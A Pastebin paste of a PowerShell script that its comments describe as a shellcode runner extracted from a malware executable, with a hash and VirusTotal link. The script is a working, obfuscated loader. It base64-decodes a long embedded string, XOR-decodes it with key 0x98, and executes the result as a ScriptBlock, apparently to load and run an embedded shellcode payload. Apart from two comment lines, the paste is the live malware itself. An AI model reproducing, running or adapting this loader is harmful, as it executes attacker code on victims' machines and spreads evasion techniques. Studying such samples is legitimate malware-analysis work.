daily pastebin goal
75%
SHARE
TWEET

xor-base64.ps1

a guest Apr 25th, 2018 30 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # PowerShell script (shellcode runner) extracted from xor-base64.exe (daeab7ae58cd68edd65c554f6fed72ef579e4511c23df744a046e8e694b54ac7)
  2. # https://www.virustotal.com/#/file/daeab7ae58cd68edd65c554f6fed72ef579e4511c23df744a046e8e694b54ac7/details
  3.  
  4. $str = "y/3stcvs6vH77NX3/P24tc796uvx9/a4qpKSvNz30ey4pbjYv5L+7fb77PH39rj+7fb7x//97Mfo6vf7x/n8/Or96+u445KRyPnq+fW4sLzu+erH9ff87fT9tLi87vnqx+jq9/v9/O3q/bGRkZKRvO756sft9uv5/v3H9vns8e79x/X97PD3/Ou4pbiww9no6Nz39fnx9sWiotvt6ur99uzc9/X58fa23/3s2evr/fX69PH967CxuOS4z/D96v211/ry/fvsuOO4vMe23/T3+vn02evr/fX69OHb+fvw/bi12fb8uLzHttT3+/ns8ff2tsvo9PHssL/ExL+xw7Wpxbbd6e359Ouwv8vh6+z99bb89PS/sbjlsbbf/ezM4ej9sL/V8fvq9+v3/uy2z/H2q6q2zfbr+f791vns8e791f3s8Pf867+xkpGSker97O3q9ri87vnqx+326/n+/cf2+ezx7v3H9f3s8Pf867bf/ezV/ezw9/ywv9/97Mjq9/vZ/Pzq/evrv7G20fbu9/P9sLz27fT0tLjYsMPL4evs/fW2yu327PH1/bbR9uz96vfoy/3q7vH7/eu20Pn2/PT9yv3+xbDW/e+11/ry/fvsuMvh6+z99bbK7fbs8fX9ttH27P3q9+jL/eru8fv967bQ+fb89P3K/f6wsNb977XX+vL9++y40fbsyOzqsbS4sLzu+erH7fbr+f79x/b57PHu/cf1/ezw9/zrtt/97NX97PD3/LC/3/3s1ff87fT90Pn2/PT9v7GxttH27vfz/bC89u309LS42LC87vnqx/X3/O30/bGxsbG0uLzu+erH6Or3+/387er9sbGS5ZKS/u32++zx9/a4/u32+8f//ezH/P30/f/57P3H7OHo/bjjkpHI+er59biwkpGRw8j56vn1/ez96rDI9+vx7PH39riluKi0uNX59vz57Pfq4biluLzM6u39scW4w8zh6P3DxcW4vO756sfo+er59f3s/errtJKRkcPI+er59f3s/eqwyPfr8ezx9/a4pbipscW4w8zh6P3FuLzu+erH6v3s7er2x+zh6P24pbjDzvfx/MWSkbGSkZKRvO756sfs4ej9x/rt8fT8/eq4pbjD2ejo3Pf1+fH2xaKi2+3q6v327Nz39fnx9rbc/f7x9v3c4fb59fH72evr/fX69OGwsNb977XX+vL9++y4y+Hr7P31tsr9/vT9++zx9/a22evr/fX69OHW+fX9sL/K/f70/fvs/fzc/fT9//ns/b+xsbS4w8vh6+z99bbK/f70/fvs8ff2tt318ey22evr/fX69OHa7fH0/P3q2fv7/evrxaKiyu32sbbc/f7x9v3c4fb59fH71ff87fT9sL/R9tX99ffq4dX3/O30/b+0uLz++fTr/bG23P3+8fb9zOHo/bC/1eHc/fT9//ns/czh6P2/tLi/2/T56+u0uMjt+vTx+7S4y/359P38tLjZ9uvx2/T56+u0uNnt7Pfb9Pnr67+0uMPL4evs/fW21e307PH7+evs3P30/f/57P3FsZKRvO756sfs4ej9x/rt8fT8/eq23P3+8fb92/f26+zq7fvs9+qwv8rMy+j9+/H59Nb59f20uNDx/P3a4cvx/7S4yO369PH7v7S4w8vh6+z99bbK/f70/fvs8ff2ttv59PTx9v/b9/bu/fbs8ff268Wiosvs+fb8+er8tLi87vnqx+j56vn1/ez96uuxtsv97NH16PT99f327Pns8ff23vT5/+uwv8rt9uzx9f20uNX59vn//fy/sZKRvO756sfs4ej9x/rt8fT8/eq23P3+8fb91f3s8Pf8sL/R9u738/2/tLi/yO369PH7tLjQ8fz92uHL8f+0uNb978v09+y0uM7x6uzt+fS/tLi87vnqx+r97O3q9sfs4ej9tLi87vnqx+j56vn1/ez96uuxtsv97NH16PT99f327Pns8ff23vT5/+uwv8rt9uzx9f20uNX59vn//fy/sZKRkpHq/ezt6va4vO756sfs4ej9x/rt8fT8/eq22+r9+ez9zOHo/bCxkuWSksPa4ez9w8XFvO756sf79/z9uKW4w8vh6+z99bbb9/bu/ersxaKi3ur39dr56/2urMvs6vH2/7C6t9fx0tnZ2dnB0fb01fzS8/Gp0e/xqdHV8anRzfGr0ffcr/zT0vLQt9X72+vI396g2fHv/+/7oNbZ+/7xoN7SwPGp0cnxqNGg2fzb1MnQ8d7v0MrT2fzayfGo/8Hxqf//2fzI8sjd9dTW0evaqfLQt9X72+vv+6DW2fv7rKzQwKjZq6us16uo8/z90sHxqf/z2fzW9fHv4NTxqf/72fzX1NrR69qo0fTd0tvK+s+q3sLP9NC3rN7w/s/368uurML8+d+t9PzZ2vf8qvTt+c7K98zQ+/Xat7fOrtHZ2dnZ2tb6q+jo+t/g8NTiye3V29n3waqh7Pvf3qj5z9Lrwszr/8zO1tLKy9ms1PLZr9He/Oj69cru/KvV/8z0yf/Wy6zg1+Hazfv19PPCz62o1OLJ7dXc6//Nzt7d+qv87frfofDC29mr1eLVr9Hd9O3C9aHJwcDK99Ty0ejZ3vDBz97wwc/e8MHP3vDBz97wwc/e8MHP3vDBz97wwc/e8MHP3vDBz97wwc/e8MHZ3vPgt6n8wM6p/Mr53OjP/fn+t6n99czZ2dnZz+LQ0s3O3unZqd7K+dTr2tnZ2szN3/DA8cK337ehz9Lvs+yuz8zQy831/9nV6dvdzfTSy83O0sn51+zO1PLut6nB9t/50dni2dnb0qzf993N3/f+zvXwqcrort+3oc3gt6n8wM6p/M/526jf39Dut6nBwNn83f/gt6zAqvzZy9Kz/evS+dPq3qz0q7epwfba+d3N8MDy0LepzNC3zqr30M3Owsn51PzArNnut6n6oNnU79nZ1/v8qdrR9sGurPfgt7Przq6o9vf//re3t+Gh8P3y9NHZ2dr3oNTP8c7ut87589r32drZ2dnf/9nZ3dnZzqrwwejeyPS3oc/MzanX0q2p/PfZ29nZ2d7Wz/na08/x/dS3qcHA2fzVqtTa79Dc8Pvaqa3O8tyu2qu3t7eg4NfM0e3VzNnt1fLR7dXizdm6sZKRkZK87vnqx/rt/v796riluMPL4evs/fW2yu327PH1/bbR9uz96vfoy/3q7vH7/eu21fnq6/D59MWiot/97Nz99P3/+ez93vfq3u32++zx9/bI9/H27P3qsLD+7fb7x//97Mfo6vf7x/n8/Or96+u48/3q9v30q6q2/PT0uM7x6uzt+fTZ9PT3+7G0uLD+7fb7x//97Mf8/fT9//ns/cfs4ej9uNiww9H27Mjs6sW0uMPN0fbsq6rFtLjDzdH27KuqxbS4w83R9uyrqsWxuLDD0fbsyOzqxbGxsbbR9u738/2ww9H27Mjs6sWiosL96ve0uLzu+erH+/f8/bbU/fb/7PC0qOCrqKiotLio4KyosZLDy+Hr7P31tsrt9uzx9f220fbs/er36Mv96u7x+/3rttX56uvw+fTFoqLb9+jhsLzu+erH+/f8/bS4qLS4vO756sf67f7+/eq0uLzu+erH+/f8/bb0/fb/7PCxkpK87vnqx/Ds8Or9+fy4pbjDy+Hr7P31tsrt9uzx9f220fbs/er36Mv96u7x+/3rttX56uvw+fTFoqLf/ezc/fT9//ns/d736t7t9vvs8ff2yPfx9uz96rCw/u32+8f//ezH6Or3+8f5/Pzq/evruPP96vb99Kuqtvz09Ljb6v357P3M8Or9+fyxtLiw/u32+8f//ezH/P30/f/57P3H7OHo/bjYsMPR9uzI7OrFtLjDzdH27KuqxbS4w9H27Mjs6sW0uMPR9uzI7OrFtLjDzdH27KuqxbS4w9H27Mjs6sWxuLDD0fbsyOzqxbGxsbbR9u738/2ww9H27Mjs6sWiosL96ve0qLS87vnqx/rt/v796rTD0fbsyOzqxaKiwv3q97SotMPR9uzI7OrFoqLC/er3sZLDy+Hr7P31tsrt9uzx9f220fbs/er36Mv96u7x+/3rttX56uvw+fTFoqLf/ezc/fT9//ns/d736t7t9vvs8ff2yPfx9uz96rCw/u32+8f//ezH6Or3+8f5/Pzq/evruPP96vb99Kuqtvz09LjP+fHs3vfqy/H2//T91/ry/fvssbS4sP7t9vvH//3sx/z99P3/+ez9x+zh6P242LDD0fbsyOzqxbS4w9H27KuqxbGxsbbR9u738/2wvO756sfw7PDq/fn8tKjg/v7+/v7+/v6xuOS41+3stdbt9PSSv9iSktH+uLDD0fbsyOzqxaKi6/Hi/bi1/em4oLG445KR6+z56uy18vf6uOO46Pnq+fWwvPmxuNHdwLi8+bjluLXK7fbZ66uquLXZ6v/t9f327Li83PfR7LjkuO/58ey18vf6uOS4yv37/fHu/bXS9/qS5ZL99Ov9uOOSkdHdwLi83PfR7JLlkg==";
  5. $dncode = [Convert]::FromBase64String($str)
  6. for($i=0;$i -lt $dncode.count;$i++){
  7.     $dncode[$i]=$dncode[$i] -bxor 0x98}
  8. $str = [System.Text.Encoding]::Ascii.GetString($dncode)
  9. #$str.Substring(0)
  10. $start = [ScriptBlock]::Create($str)
  11. &$start
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top